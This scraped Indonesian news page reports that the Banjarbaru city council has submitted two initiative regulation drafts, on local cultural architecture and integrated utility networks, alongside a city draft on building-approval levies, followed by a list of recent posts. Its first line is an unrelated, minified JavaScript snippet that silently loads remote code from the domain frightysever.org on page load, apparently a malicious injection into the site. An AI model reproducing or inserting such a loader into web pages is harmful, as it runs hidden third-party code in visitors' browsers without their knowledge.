(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Ini Dua Raperda Inisiatif yang Diajukan DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mengajukan dua buah Rancangan Peraturan Daerah (Raperda) inisiatif.

Ketua DPRD Banjarbaru Fadliansyah, dua Raperda dan satu Raperda yang berasal dari Pemko Banjarbaru sudah disampaikan secara bersama-sama pada rapat paripurna, Selasa (31/8/2021).

“Dua Raperda inisiatif dari DPRD dan satu Raperda dari Pemkot Banjarbaru diajukan bersama-sama pada rapat paripurna itu untuk diproses lebih lanjut,” ujarnya.

Dua Raperda inisiatif DPRD yakni Raperda tentang prototipe arsitektur budaya lokal pada bangunan gedung milik Pemko Banjarbaru dan Raperda tentang jaringan utilitas terpadu.

 

 

Sedangkan Raperda dari Pemko Banjarbaru adalah Raperda tentang retribusi persetujuan bangunan gedung yang akan menjadi payung hukum menarik retribusi atas salah satu pajak daerah itu.

Raperda tentang prototipe arsitektur budaya lokal bangunan gedung milik Pemkot Banjarbaru adalah salah satu upaya menumbuh kembangkan pemajuan budaya lokal sebagai bagian dari budaya nasional.

“Penerapan Perda nantinya bertujuan menjaga eksistensi arsitektur budaya lokal agar tidak tergerus kemajuan jaman dan pembangunan sehingga bisa menjadi landasan hukum sesuai kewenangan Pemko menanganinya,” ucap Fadliansyah.

Sementara itu, Raperda penyelenggaraan jaringan utilitas terpadu disampaikan DPRD karena Pemko Banjarbaru belum memiliki dasar hukum dalam mengatur penyelenggaraan jaringan utilitas terpadu di kota Idaman.

“Hal itu lah yang menyebabkan belum optimalnya penyelenggaraan jaringan utilitas terpadu di Banjarbaru sehingga untuk menciptakan keindahan dan kerapian tata kota diperlukan Perda yang menjadi payung hukum,” katanya.

“Kami berharap, tiga Raperda yang diajukan bersamaan itu sudah bisa ditetapkan menjadi Perda dalam satu dua bulan ke depan sehingga harus dimaksimalkan pembahasan sesuai prosesnya,” kata Fadliansyah. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

11 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

15 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.